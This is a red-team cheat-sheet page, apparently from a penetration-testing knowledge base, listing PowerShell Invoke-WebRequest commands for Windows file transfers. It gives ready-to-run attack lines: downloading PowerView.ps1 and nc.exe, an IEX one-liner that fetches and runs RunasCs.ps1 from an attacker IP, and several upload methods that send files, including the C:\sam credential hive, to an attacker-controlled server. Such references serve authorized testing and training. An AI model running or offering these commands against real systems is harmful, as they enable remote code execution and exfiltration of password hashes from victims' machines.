Operator On The Wire
Join
← Back to Knowledge Base
RED TEAM / FILE TRANSFERS / WINDOWS

Invoke-WebRequest

Downloads:


# Download file to disk

Invoke-WebRequest "https://<snip>/PowerView.ps1" -OutFile "PowerView.ps1"

# Download with Chrome user agent

Invoke-WebRequest "http://nc.exe" `
  -UserAgent [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome `
  -OutFile "nc.exe"


IEX(iwr -uri http://10.10.14.5/RunasCs.ps1 -UseBasicParsing)

Uploads:


Invoke-WebRequest -Uri http://127.0.0.1:8080 -Method POST -InFile C:\temp\test.txt -ContentType "application/octet-stream"

# Upload data to web server via HTTP POST

$b64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes("file.bin"))
Invoke-WebRequest -Uri "http://10.10.14.12:9999/upload" -Method POST -Body $b64

# OR

Invoke-WebRequest -Uri "http://10.10.14.12:9999/upload" -Method POST -Form @{ files = Get-Item "C:\sam" }

# OR old Powershell < 5.1

$uri = "http://10.10.14.12:9999/upload"
$filePath = "C:\sam"
$boundary = [System.Guid]::NewGuid().ToString()
$LF = "`r`n"

$fileBytes = [System.IO.File]::ReadAllBytes($filePath)
$fileName = [System.IO.Path]::GetFileName($filePath)

$bodyLines = (
"--$boundary",
"Content-Disposition: form-data; name=`"files`"; filename=`"$fileName`"",
"Content-Type: application/octet-stream$LF"
)

$bodyStart = [System.Text.Encoding]::UTF8.GetBytes(($bodyLines -join $LF) + $LF)
$bodyEnd = [System.Text.Encoding]::UTF8.GetBytes("$LF--$boundary--$LF")

$body = New-Object System.IO.MemoryStream
$body.Write($bodyStart, 0, $bodyStart.Length)
$body.Write($fileBytes, 0, $fileBytes.Length)
$body.Write($bodyEnd, 0, $bodyEnd.Length)
$body.Position = 0

Invoke-WebRequest -Uri $uri -Method POST -ContentType "multipart/form-data; boundary=$boundary" -Body $body